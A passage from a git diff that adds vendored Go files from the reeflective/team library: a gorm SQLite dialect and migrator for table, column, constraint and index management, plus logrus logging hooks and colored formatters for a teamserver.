{ + if strings.ToLower(defaultMatches[1]) != "null" { + columnType.DefaultValueValue = sql.NullString{String: strings.Trim(defaultMatches[1], `"`), Valid: true} + } + } + + // data type length + matches := regRealDataType.FindAllStringSubmatch(columnType.DataTypeValue.String, -1) + if len(matches) == 1 && len(matches[0]) == 2 { + size, _ := strconv.Atoi(matches[0][1]) + columnType.LengthValue = sql.NullInt64{Valid: true, Int64: int64(size)} + columnType.DataTypeValue.String = strings.TrimSuffix(columnType.DataTypeValue.String, matches[0][0]) + } + + result.columns = append(result.columns, columnType) + } + } + } else if matches := indexRegexp.FindStringSubmatch(str); len(matches) > 0 { + if columns := columnsRegexp.FindStringSubmatch(matches[1]); len(columns) == 1 { + for idx, c := range result.columns { + if c.NameValue.String == columns[0] { + c.UniqueValue = sql.NullBool{Bool: true, Valid: true} + result.columns[idx] = c + } + } + } + } else { + return nil, errors.New("invalid DDL") + } + } + + return &result, nil +} + +func (d *ddl) compile() string { + if len(d.fields) == 0 { + return d.head + } + + return fmt.Sprintf("%s (%s)", d.head, strings.Join(d.fields, ",")) +} + +func (d *ddl) addConstraint(name string, sql string) { + reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]") + + for i := 0; i < len(d.fields); i++ { + if reg.MatchString(d.fields[i]) { + d.fields[i] = sql + return + } + } + + d.fields = append(d.fields, sql) +} + +func (d *ddl) removeConstraint(name string) bool { + reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]") + + for i := 0; i < len(d.fields); i++ { + if reg.MatchString(d.fields[i]) { + d.fields = append(d.fields[:i], d.fields[i+1:]...) + return true + } + } + return false +} + +func (d *ddl) hasConstraint(name string) bool { + reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]") + + for _, f := range d.fields { + if reg.MatchString(f) { + return true + } + } + return false +} + +func (d *ddl) getColumns() []string { + res := []string{} + + for _, f := range d.fields { + fUpper := strings.ToUpper(f) + if strings.HasPrefix(fUpper, "PRIMARY KEY") || + strings.HasPrefix(fUpper, "CHECK") || + strings.HasPrefix(fUpper, "CONSTRAINT") || + strings.Contains(fUpper, "GENERATED ALWAYS AS") { + continue + } + + reg := regexp.MustCompile("^[\"`']?([\\w\\d]+)[\"`']?") + match := reg.FindStringSubmatch(f) + + if match != nil { + res = append(res, "`"+match[1]+"`") + } + } + return res +} diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/errors.go b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/errors.go new file mode 100644 index 0000000000..cb6c61b035 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/errors.go @@ -0,0 +1,7 @@ +package wasmsqlite + +import "errors" + +var ( + ErrConstraintsNotImplemented = errors.New("constraints not implemented on sqlite, consider using DisableForeignKeyConstraintWhenMigrating, more details https://github.com/go-gorm/gorm/wiki/GORM-V2-Release-Note-Draft#all-new-migrator") +) diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/migrator.go b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/migrator.go new file mode 100644 index 0000000000..0ea6eef487 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/migrator.go @@ -0,0 +1,423 @@ +package wasmsqlite + +import ( + "database/sql" + "fmt" + "regexp" + "strings" + + "gorm.io/gorm" + "gorm.io/gorm/clause" + "gorm.io/gorm/migrator" + "gorm.io/gorm/schema" +) + +type Migrator struct { + migrator.Migrator +} + +func (m *Migrator) RunWithoutForeignKey(fc func() error) error { + var enabled int + m.DB.Raw("PRAGMA foreign_keys").Scan(&enabled) + if enabled == 1 { + m.DB.Exec("PRAGMA foreign_keys = OFF") + defer m.DB.Exec("PRAGMA foreign_keys = ON") + } + + return fc() +} + +func (m Migrator) HasTable(value interface{}) bool { + var count int + m.Migrator.RunWithValue(value, func(stmt *gorm.Statement) error { + return m.DB.Raw("SELECT count(*) FROM sqlite_master WHERE type='table' AND name=?", stmt.Table).Row().Scan(&count) + }) + return count > 0 +} + +func (m Migrator) DropTable(values ...interface{}) error { + return m.RunWithoutForeignKey(func() error { + values = m.ReorderModels(values, false) + tx := m.DB.Session(&gorm.Session{}) + + for i := len(values) - 1; i >= 0; i-- { + if err := m.RunWithValue(values[i], func(stmt *gorm.Statement) error { + return tx.Exec("DROP TABLE IF EXISTS ?", clause.Table{Name: stmt.Table}).Error + }); err != nil { + return err + } + } + + return nil + }) +} + +func (m Migrator) GetTables() (tableList []string, err error) { + return tableList, m.DB.Raw("SELECT name FROM sqlite_master where type=?", "table").Scan(&tableList).Error +} + +func (m Migrator) HasColumn(value interface{}, name string) bool { + var count int + m.Migrator.RunWithValue(value, func(stmt *gorm.Statement) error { + if stmt.Schema != nil { + if field := stmt.Schema.LookUpField(name); field != nil { + name = field.DBName + } + } + + if name != "" { + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND (sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ?)", + "table", stmt.Table, `%"`+name+`" %`, `%`+name+` %`, "%`"+name+"`%", "%["+name+"]%", "%\t"+name+"\t%", + ).Row().Scan(&count) + } + return nil + }) + return count > 0 +} + +func (m Migrator) AlterColumn(value interface{}, name string) error { + return m.RunWithoutForeignKey(func() error { + return m.recreateTable(value, nil, func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + if field := stmt.Schema.LookUpField(name); field != nil { + // lookup field from table definition, ddl might looks like `'name' int,` or `'name' int)` + reg, err := regexp.Compile("(`|'|\"| )" + field.DBName + "(`|'|\"| ) .*?(,|\\)\\s*$)") + if err != nil { + return "", nil, err + } + + createSQL := reg.ReplaceAllString(rawDDL, fmt.Sprintf("`%v` ?$3", field.DBName)) + + if createSQL == rawDDL { + return "", nil, fmt.Errorf("failed to look up field %v from DDL %v", field.DBName, rawDDL) + } + + return createSQL, []interface{}{m.FullDataTypeOf(field)}, nil + } + return "", nil, fmt.Errorf("failed to alter field with name %v", name) + }) + }) +} + +// ColumnTypes return columnTypes []gorm.ColumnType and execErr error +func (m Migrator) ColumnTypes(value interface{}) ([]gorm.ColumnType, error) { + columnTypes := make([]gorm.ColumnType, 0) + execErr := m.RunWithValue(value, func(stmt *gorm.Statement) (err error) { + var ( + sqls []string + sqlDDL *ddl + ) + + if err := m.DB.Raw("SELECT sql FROM sqlite_master WHERE type IN ? AND tbl_name = ? AND sql IS NOT NULL order by type = ? desc", []string{"table", "index"}, stmt.Table, "table").Scan(&sqls).Error; err != nil { + return err + } + + if sqlDDL, err = parseDDL(sqls...); err != nil { + return err + } + + rows, err := m.DB.Session(&gorm.Session{}).Table(stmt.Table).Limit(1).Rows() + if err != nil { + return err + } + defer func() { + err = rows.Close() + }() + + var rawColumnTypes []*sql.ColumnType + rawColumnTypes, err = rows.ColumnTypes() + if err != nil { + return err + } + + for _, c := range rawColumnTypes { + columnType := migrator.ColumnType{SQLColumnType: c} + for _, column := range sqlDDL.columns { + if column.NameValue.String == c.Name() { + column.SQLColumnType = c + columnType = column + break + } + } + columnTypes = append(columnTypes, columnType) + } + + return err + }) + + return columnTypes, execErr +} + +func (m Migrator) DropColumn(value interface{}, name string) error { + return m.recreateTable(value, nil, func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + if field := stmt.Schema.LookUpField(name); field != nil { + name = field.DBName + } + + reg, err := regexp.Compile("(`|'|\"| |\\[)" + name + "(`|'|\"| |\\]) .*?,") + if err != nil { + return "", nil, err + } + + createSQL := reg.ReplaceAllString(rawDDL, "") + + return createSQL, nil, nil + }) +} + +func (m Migrator) CreateConstraint(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + + return m.recreateTable(value, &table, + func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + var ( + constraintName string + constraintSql string + constraintValues []interface{} + ) + + if constraint != nil { + constraintName = constraint.Name + constraintSql, constraintValues = buildConstraint(constraint) + } else if chk != nil { + constraintName = chk.Name + constraintSql = "CONSTRAINT ? CHECK (?)" + constraintValues = []interface{}{clause.Column{Name: chk.Name}, clause.Expr{SQL: chk.Constraint}} + } else { + return "", nil, nil + } + + createDDL, err := parseDDL(rawDDL) + if err != nil { + return "", nil, err + } + createDDL.addConstraint(constraintName, constraintSql) + createSQL := createDDL.compile() + + return createSQL, constraintValues, nil + }) + }) +} + +func (m Migrator) DropConstraint(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + if constraint != nil { + name = constraint.Name + } else if chk != nil { + name = chk.Name + } + + return m.recreateTable(value, &table, + func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + createDDL, err := parseDDL(rawDDL) + if err != nil { + return "", nil, err + } + createDDL.removeConstraint(name) + createSQL := createDDL.compile() + + return createSQL, nil, nil + }) + }) +} + +func (m Migrator) HasConstraint(value interface{}, name string) bool { + var count int64 + m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + if constraint != nil { + name = constraint.Name + } else if chk != nil { + name = chk.Name + } + + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND (sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ?)", + "table", table, `%CONSTRAINT "`+name+`" %`, `%CONSTRAINT `+name+` %`, "%CONSTRAINT `"+name+"`%", "%CONSTRAINT ["+name+"]%", "%CONSTRAINT \t"+name+"\t%", + ).Row().Scan(&count) + + return nil + }) + + return count > 0 +} + +func (m Migrator) CurrentDatabase() (name string) { + var null interface{} + m.DB.Raw("PRAGMA database_list").Row().Scan(&null, &name, &null) + return +} + +func (m Migrator) BuildIndexOptions(opts []schema.IndexOption, stmt *gorm.Statement) (results []interface{}) { + for _, opt := range opts { + str := stmt.Quote(opt.DBName) + if opt.Expression != "" { + str = opt.Expression + } + + if opt.Collate != "" { + str += " COLLATE " + opt.Collate + } + + if opt.Sort != "" { + str += " " + opt.Sort + } + results = append(results, clause.Expr{SQL: str}) + } + return +} + +func (m Migrator) CreateIndex(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + if idx := stmt.Schema.LookIndex(name); idx != nil { + opts := m.BuildIndexOptions(idx.Fields, stmt) + values := []interface{}{clause.Column{Name: idx.Name}, clause.Table{Name: stmt.Table}, opts} + + createIndexSQL := "CREATE " + if idx.Class != "" { + createIndexSQL += idx.Class + " " + } + createIndexSQL += "INDEX ?" + + if idx.Type != "" { + createIndexSQL += " USING " + idx.Type + } + createIndexSQL += " ON ??" + + if idx.Where != "" { + createIndexSQL += " WHERE " + idx.Where + } + + return m.DB.Exec(createIndexSQL, values...).Error + } + + return fmt.Errorf("failed to create index with name %v", name) + }) +} + +func (m Migrator) HasIndex(value interface{}, name string) bool { + var count int + m.RunWithValue(value, func(stmt *gorm.Statement) error { + if idx := stmt.Schema.LookIndex(name); idx != nil { + name = idx.Name + } + + if name != "" { + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "index", stmt.Table, name, + ).Row().Scan(&count) + } + return nil + }) + return count > 0 +} + +func (m Migrator) RenameIndex(value interface{}, oldName, newName string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + var sql string + m.DB.Raw("SELECT sql FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "index", stmt.Table, oldName).Row().Scan(&sql) + if sql != "" { + return m.DB.Exec(strings.Replace(sql, oldName, newName, 1)).Error + } + return fmt.Errorf("failed to find index with name %v", oldName) + }) +} + +func (m Migrator) DropIndex(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + if idx := stmt.Schema.LookIndex(name); idx != nil { + name = idx.Name + } + + return m.DB.Exec("DROP INDEX ?", clause.Column{Name: name}).Error + }) +} + +func buildConstraint(constraint *schema.Constraint) (sql string, results []interface{}) { + sql = "CONSTRAINT ? FOREIGN KEY ? REFERENCES ??" + if constraint.OnDelete != "" { + sql += " ON DELETE " + constraint.OnDelete + } + + if constraint.OnUpdate != "" { + sql += " ON UPDATE " + constraint.OnUpdate + } + + var foreignKeys, references []interface{} + for _, field := range constraint.ForeignKeys { + foreignKeys = append(foreignKeys, clause.Column{Name: field.DBName}) + } + + for _, field := range constraint.References { + references = append(references, clause.Column{Name: field.DBName}) + } + results = append(results, clause.Table{Name: constraint.Name}, foreignKeys, clause.Table{Name: constraint.ReferenceSchema.Table}, references) + return +} + +func (m Migrator) getRawDDL(table string) (string, error) { + var createSQL string + m.DB.Raw("SELECT sql FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "table", table, table).Row().Scan(&createSQL) + + if m.DB.Error != nil { + return "", m.DB.Error + } + return createSQL, nil +} + +func (m Migrator) recreateTable(value interface{}, tablePtr *string, + getCreateSQL func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error)) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + table := stmt.Table + if tablePtr != nil { + table = *tablePtr + } + + rawDDL, err := m.getRawDDL(table) + if err != nil { + return err + } + + newTableName := table + "__temp" + + createSQL, sqlArgs, err := getCreateSQL(rawDDL, stmt) + if err != nil { + return err + } + if createSQL == "" { + return nil + } + + tableReg, err := regexp.Compile(" ('|`|\"| )" + table + "('|`|\"| ) ") + if err != nil { + return err + } + createSQL = tableReg.ReplaceAllString(createSQL, fmt.Sprintf(" `%v` ", newTableName)) + + createDDL, err := parseDDL(createSQL) + if err != nil { + return err + } + columns := createDDL.getColumns() + + return m.DB.Transaction(func(tx *gorm.DB) error { + if err := tx.Exec(createSQL, sqlArgs...).Error; err != nil { + return err + } + + queries := []string{ + fmt.Sprintf("INSERT INTO `%v`(%v) SELECT %v FROM `%v`", newTableName, strings.Join(columns, ","), strings.Join(columns, ","), table), + fmt.Sprintf("DROP TABLE `%v`", table), + fmt.Sprintf("ALTER TABLE `%v` RENAME TO `%v`", newTableName, table), + } + for _, query := range queries { + if err := tx.Exec(query).Error; err != nil { + return err + } + } + return nil + }) + }) +} diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/sqlite.go b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/sqlite.go new file mode 100644 index 0000000000..2368ce791a --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/sqlite.go @@ -0,0 +1,224 @@ +package wasmsqlite + +import ( + "context" + "database/sql" + "strconv" + "strings" + + "gorm.io/gorm/callbacks" + + _ "github.com/ncruces/go-sqlite3" + _ "github.com/ncruces/go-sqlite3/driver" + _ "github.com/ncruces/go-sqlite3/embed" + + "gorm.io/gorm" + "gorm.io/gorm/clause" + "gorm.io/gorm/logger" + "gorm.io/gorm/migrator" + "gorm.io/gorm/schema" +) + +// DriverName is the default driver name for SQLite. +const DriverName = "sqlite3" + +type Dialector struct { + DriverName string + DSN string + Conn gorm.ConnPool +} + +func Open(dsn string) gorm.Dialector { + return &Dialector{DSN: dsn} +} + +func (dialector Dialector) Name() string { + return "sqlite" +} + +func (dialector Dialector) Initialize(db *gorm.DB) (err error) { + if dialector.DriverName == "" { + dialector.DriverName = DriverName + } + + if dialector.Conn != nil { + db.ConnPool = dialector.Conn + } else { + conn, err := sql.Open(dialector.DriverName, dialector.DSN) + if err != nil { + return err + } + db.ConnPool = conn + } + + var version string + if err := db.ConnPool.QueryRowContext(context.Background(), "select sqlite_version()").Scan(&version); err != nil { + return err + } + // https://www.sqlite.org/releaselog/3_35_0.html + if compareVersion(version, "3.35.0") >= 0 { + callbacks.RegisterDefaultCallbacks(db, &callbacks.Config{ + CreateClauses: []string{"INSERT", "VALUES", "ON CONFLICT", "RETURNING"}, + UpdateClauses: []string{"UPDATE", "SET", "WHERE", "RETURNING"}, + DeleteClauses: []string{"DELETE", "FROM", "WHERE", "RETURNING"}, + LastInsertIDReversed: true, + }) + } else { + callbacks.RegisterDefaultCallbacks(db, &callbacks.Config{ + LastInsertIDReversed: true, + }) + } + + for k, v := range dialector.ClauseBuilders() { + db.ClauseBuilders[k] = v + } + return +} + +func (dialector Dialector) ClauseBuilders() map[string]clause.ClauseBuilder { + return map[string]clause.ClauseBuilder{ + "INSERT": func(c clause.Clause, builder clause.Builder) { + if insert, ok := c.Expression.(clause.Insert); ok { + if stmt, ok := builder.(*gorm.Statement); ok { + stmt.WriteString("INSERT ") + if insert.Modifier != "" { + stmt.WriteString(insert.Modifier) + stmt.WriteByte(' ') + } + + stmt.WriteString("INTO ") + if insert.Table.Name == "" { + stmt.WriteQuoted(stmt.Table) + } else { + stmt.WriteQuoted(insert.Table) + } + return + } + } + + c.Build(builder) + }, + "LIMIT": func(c clause.Clause, builder clause.Builder) { + if limit, ok := c.Expression.(clause.Limit); ok { + var lmt = -1 + if limit.Limit != nil && *limit.Limit >= 0 { + lmt = *limit.Limit + } + if lmt >= 0 || limit.Offset > 0 { + builder.WriteString("LIMIT ") + builder.WriteString(strconv.Itoa(lmt)) + } + if limit.Offset > 0 { + builder.WriteString(" OFFSET ") + builder.WriteString(strconv.Itoa(limit.Offset)) + } + } + }, + "FOR": func(c clause.Clause, builder clause.Builder) { + if _, ok := c.Expression.(clause.Locking); ok { + // SQLite3 does not support row-level locking. + return + } + c.Build(builder) + }, + } +} + +func (dialector Dialector) DefaultValueOf(field *schema.Field) clause.Expression { + if field.AutoIncrement { + return clause.Expr{SQL: "NULL"} + } + + // doesn't work, will raise error + return clause.Expr{SQL: "DEFAULT"} +} + +func (dialector Dialector) Migrator(db *gorm.DB) gorm.Migrator { + return Migrator{migrator.Migrator{Config: migrator.Config{ + DB: db, + Dialector: dialector, + CreateIndexAfterCreateTable: true, + }}} +} + +func (dialector Dialector) BindVarTo(writer clause.Writer, stmt *gorm.Statement, v interface{}) { + writer.WriteByte('?') +} + +func (dialector Dialector) QuoteTo(writer clause.Writer, str string) { + writer.WriteByte('`') + if strings.Contains(str, ".") { + for idx, str := range strings.Split(str, ".") { + if idx > 0 { + writer.WriteString(".`") + } + writer.WriteString(str) + writer.WriteByte('`') + } + } else { + writer.WriteString(str) + writer.WriteByte('`') + } +} + +func (dialector Dialector) Explain(sql string, vars ...interface{}) string { + return logger.ExplainSQL(sql, nil, `"`, vars...) +} + +func (dialector Dialector) DataTypeOf(field *schema.Field) string { + switch field.DataType { + case schema.Bool: + return "numeric" + case schema.Int, schema.Uint: + if field.AutoIncrement && !field.PrimaryKey { + // https://www.sqlite.org/autoinc.html + return "integer PRIMARY KEY AUTOINCREMENT" + } else { + return "integer" + } + case schema.Float: + return "real" + case schema.String: + return "text" + case schema.Time: + return "datetime" + case schema.Bytes: + return "blob" + } + + return string(field.DataType) +} + +func (dialectopr Dialector) SavePoint(tx *gorm.DB, name string) error { + tx.Exec("SAVEPOINT " + name) + return nil +} + +func (dialectopr Dialector) RollbackTo(tx *gorm.DB, name string) error { + tx.Exec("ROLLBACK TO SAVEPOINT " + name) + return nil +} + +func compareVersion(version1, version2 string) int { + n, m := len(version1), len(version2) + i, j := 0, 0 + for i < n || j < m { + x := 0 + for ; i < n && version1[i] != '.'; i++ { + x = x*10 + int(version1[i]-'0') + } + i++ + y := 0 + for ; j < m && version2[j] != '.'; j++ { + y = y*10 + int(version2[j]-'0') + } + j++ + if x > y { + return 1 + } + if x < y { + return -1 + } + } + return 0 +} diff --git a/vendor/github.com/reeflective/team/internal/log/cli.go b/vendor/github.com/reeflective/team/internal/log/cli.go new file mode 100644 index 0000000000..98aaf6a633 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/cli.go @@ -0,0 +1,300 @@ +package log + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "errors" + "fmt" + "os" + "strings" + + "github.com/rsteube/carapace/pkg/style" + "github.com/sirupsen/logrus" +) + +// Text effects. +const ( + SGRStart = "\x1b[" + Fg = "38;05;" + Bg = "48;05;" + SGREnd = "m" +) + +const ( + FieldTimestamp = "timestamp" + FieldPackage = "logger" + FieldMessage = "message" + + PackageFieldKey = "teamserver_pkg" + + MinimumPackagePad = 11 +) + +// stdioHook combines a stdout hook (info/debug/trace), +// and a stderr hook (warn/error/fatal/panic). +type stdioHook struct { + logger *logrus.Logger +} + +func newStdioHook() *stdioHook { + hook := &stdioHook{ + logger: NewStdio(logrus.WarnLevel), + } + + return hook +} + +// The stdout hooks only outputs info, debug and trace. +func (hook *stdioHook) Levels() []logrus.Level { + return logrus.AllLevels +} + +// Fire - Implements the fire method of the Logrus hook. +func (hook *stdioHook) Fire(entry *logrus.Entry) error { + switch entry.Level { + case logrus.PanicLevel: + hook.logger.Panic(entry.Message) + case logrus.FatalLevel: + hook.logger.Fatal(entry.Message) + case logrus.ErrorLevel: + hook.logger.Error(entry.Message) + case logrus.WarnLevel: + hook.logger.Warn(entry.Message) + case logrus.InfoLevel: + hook.logger.Info(entry.Message) + case logrus.DebugLevel: + hook.logger.Debug(entry.Message) + case logrus.TraceLevel: + hook.logger.Trace(entry.Message) + } + + return nil +} + +func newLoggerStdout() *stdoutHook { + stdLogger := logrus.New() + stdLogger.SetReportCaller(true) + stdLogger.Out = os.Stdout + + stdLogger.Formatter = &stdoutHook{ + DisableColors: false, + ShowTimestamp: false, + Colors: defaultFieldsFormat(), + } + + hook := &stdoutHook{ + logger: stdLogger, + } + + return hook +} + +// stderrHook only logs info events and less. +type stdoutHook struct { + DisableColors bool + ShowTimestamp bool + TimestampFormat string + Colors map[string]string + logger *logrus.Logger +} + +// The stdout hooks only outputs info, debug and trace. +func (hook *stdoutHook) Levels() []logrus.Level { + return []logrus.Level{ + logrus.InfoLevel, + logrus.DebugLevel, + logrus.TraceLevel, + } +} + +// Fire - Implements the fire method of the Logrus hook. +func (hook *stdoutHook) Fire(entry *logrus.Entry) error { + switch entry.Level { + case logrus.PanicLevel: + hook.logger.Panic(entry.Message) + case logrus.FatalLevel: + hook.logger.Fatal(entry.Message) + case logrus.ErrorLevel: + hook.logger.Error(entry.Message) + case logrus.WarnLevel: + hook.logger.Warn(entry.Message) + case logrus.InfoLevel: + hook.logger.Info(entry.Message) + case logrus.DebugLevel: + hook.logger.Debug(entry.Message) + case logrus.TraceLevel: + hook.logger.Trace(entry.Message) + } + + return nil +} + +// Format is a custom formatter for all stdout/text logs, with better format and coloring. +func (hook *stdoutHook) Format(entry *logrus.Entry) ([]byte, error) { + // Basic information. + sign, signColor := hook.getLevelFieldColor(entry.Level) + levelLog := fmt.Sprintf("%s%s%s", color(signColor), sign, color(style.Default)) + + timestamp := entry.Time.Format(hook.TimestampFormat) + timestampLog := fmt.Sprintf("%s%s%s", color(hook.Colors[FieldTimestamp]), timestamp, color(style.Default)) + + var pkgLogF string + + pkg := entry.Data[PackageFieldKey] + if pkg != nil { + pkgLog := fmt.Sprintf(" %v ", pkg) + pkgLog = fmt.Sprintf("%-*s", MinimumPackagePad, pkgLog) + pkgLogF = strings.ReplaceAll(pkgLog, fmt.Sprintf("%s", pkg), fmt.Sprintf("%s%s%s", color(hook.Colors[FieldPackage]), pkg, color(style.Default))) + } + + // Always try to unwrap the error at least once, and colorize it. + message := entry.Message + if err := errors.Unwrap(errors.New(message)); err != nil { + if err.Error() != message { + message = color(style.Red) + message + color(style.Of(style.Default, style.White)) + err.Error() + color(style.Default) + } + } + + messageLog := fmt.Sprintf("%s%s%s", color(hook.Colors[FieldMessage]), message, color(style.Default)) + + // Assemble the log message + var logMessage string + + if hook.ShowTimestamp { + logMessage += timestampLog + " " + } + + logMessage += pkgLogF + " " + logMessage += levelLog + " " + logMessage += messageLog + "\n" + + return []byte(logMessage), nil +} + +func (hook *stdoutHook) getLevelFieldColor(level logrus.Level) (string, string) { + // Builtin configurations. + signs := defaultLevelFields() + colors := defaultLevelFieldsColored() + + if sign, ok := signs[level]; ok { + if color, ok := colors[sign]; ok { + return sign, color + } + + return sign, style.Default + } + + return signs[logrus.InfoLevel], style.Default +} + +// stderrHook only logs warning events and worst. +type stderrHook struct { + DisableColors bool + ShowTimestamp bool + TimestampFormat string + Colors map[string]string + logger *logrus.Logger +} + +func newLoggerStderr() *stderrHook { + stdLogger := logrus.New() + stdLogger.SetLevel(logrus.WarnLevel) + stdLogger.SetReportCaller(true) + stdLogger.Out = os.Stderr + + stdLogger.Formatter = &stdoutHook{ + DisableColors: false, + ShowTimestamp: false, + Colors: defaultFieldsFormat(), + } + + hook := &stderrHook{ + logger: stdLogger, + } + + return hook +} + +// Fire - Implements the fire method of the Logrus hook. +func (hook *stderrHook) Fire(entry *logrus.Entry) error { + switch entry.Level { + case logrus.PanicLevel: + hook.logger.Panic(entry.Message) + case logrus.FatalLevel: + hook.logger.Fatal(entry.Message) + case logrus.ErrorLevel: + hook.logger.Error(entry.Message) + case logrus.WarnLevel: + hook.logger.Warn(entry.Message) + case logrus.InfoLevel: + hook.logger.Info(entry.Message) + case logrus.DebugLevel: + hook.logger.Debug(entry.Message) + case logrus.TraceLevel: + hook.logger.Trace(entry.Message) + } + + return nil +} + +// The stderr hooks only outputs errors and worst. +func (hook *stderrHook) Levels() []logrus.Level { + return []logrus.Level{ + logrus.WarnLevel, + logrus.ErrorLevel, + logrus.FatalLevel, + logrus.PanicLevel, + } +} + +func defaultFieldsFormat() map[string]string { + return map[string]string{ + FieldTimestamp: style.BrightBlack, + FieldPackage: style.Dim, + FieldMessage: style.BrightWhite, + } +} + +func defaultLevelFields() map[logrus.Level]string { + return map[logrus.Level]string{ + logrus.TraceLevel: "▪", + logrus.DebugLevel: "▫", + logrus.InfoLevel: "○", + logrus.WarnLevel: "▲", + logrus.ErrorLevel: "✖", + logrus.FatalLevel: "☠", + logrus.PanicLevel: "!!", + } +} + +func defaultLevelFieldsColored() map[string]string { + return map[string]string{ + "▪": style.BrightBlack, + "▫": style.Dim, + "○": style.BrightBlue, + "▲": style.Yellow, + "✖": style.BrightRed, + "☠": style.BgBrightCyan, + "!!": style.BgBrightMagenta, + } +} + +func color(color string) string { + return SGRStart + style.SGR(color) + SGREnd +} diff --git a/vendor/github.com/reeflective/team/internal/log/db.go b/vendor/github.com/reeflective/team/internal/log/db.go new file mode 100644 index 0000000000..3b43e1a4ec --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/db.go @@ -0,0 +1,63 @@ +package log + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "strings" + "time" + + "github.com/sirupsen/logrus" + "gorm.io/gorm/logger" +) + +// gorm middleware for database queries/results logging. +type gormWriter struct { + log *logrus.Entry +} + +func (w gormWriter) Printf(format string, args ...interface{}) { + w.log.Printf(format, args...) +} + +// NewDatabase returns a logger suitable as logrus database logging middleware. +func NewDatabase(log *logrus.Entry, level string) logger.Interface { + logConfig := logger.Config{ + SlowThreshold: time.Second, + Colorful: true, + LogLevel: logger.Info, + } + switch strings.ToLower(level) { + case "silent": + logConfig.LogLevel = logger.Silent + case "err": + fallthrough + case "error": + logConfig.LogLevel = logger.Error + case "warning": + fallthrough + case "warn": + logConfig.LogLevel = logger.Warn + case "info": + fallthrough + default: + logConfig.LogLevel = logger.Info + } + + return logger.New(gormWriter{log: log}, logConfig) +} diff --git a/vendor/github.com/reeflective/team/internal/log/log.go b/vendor/github.com/reeflective/team/internal/log/log.go new file mode 100644 index 0000000000..fdf5f1a298 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/log.go @@ -0,0 +1,181 @@ +package log + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "io" + "os" + "path/filepath" + + "github.com/reeflective/team/internal/assets" + "github.com/sirupsen/logrus" +) + +const ( + FileReadPerm = 0o600 // FileReadPerm is the permission bit given to the OS when reading files. + DirPerm = 0o700 // DirPerm is the permission bit given to teamserver/client directories. + FileWritePerm = 0o644 // FileWritePerm is the permission bit given to the OS when writing files. + + FileWriteOpenMode = os.O_APPEND | os.O_CREATE | os.O_WRONLY // Opening log files in append/create/write-only mode. + + ClientLogFileExt = "teamclient.log" // Log files of all teamclients have this extension by default. + ServerLogFileExt = "teamserver.log" // Log files of all teamserver have this extension by default. +) + +// Init is the main constructor that is (and should be) used for teamserver and teamclient logging. +// It hooks a normal logger with a sublogger writing to a file in 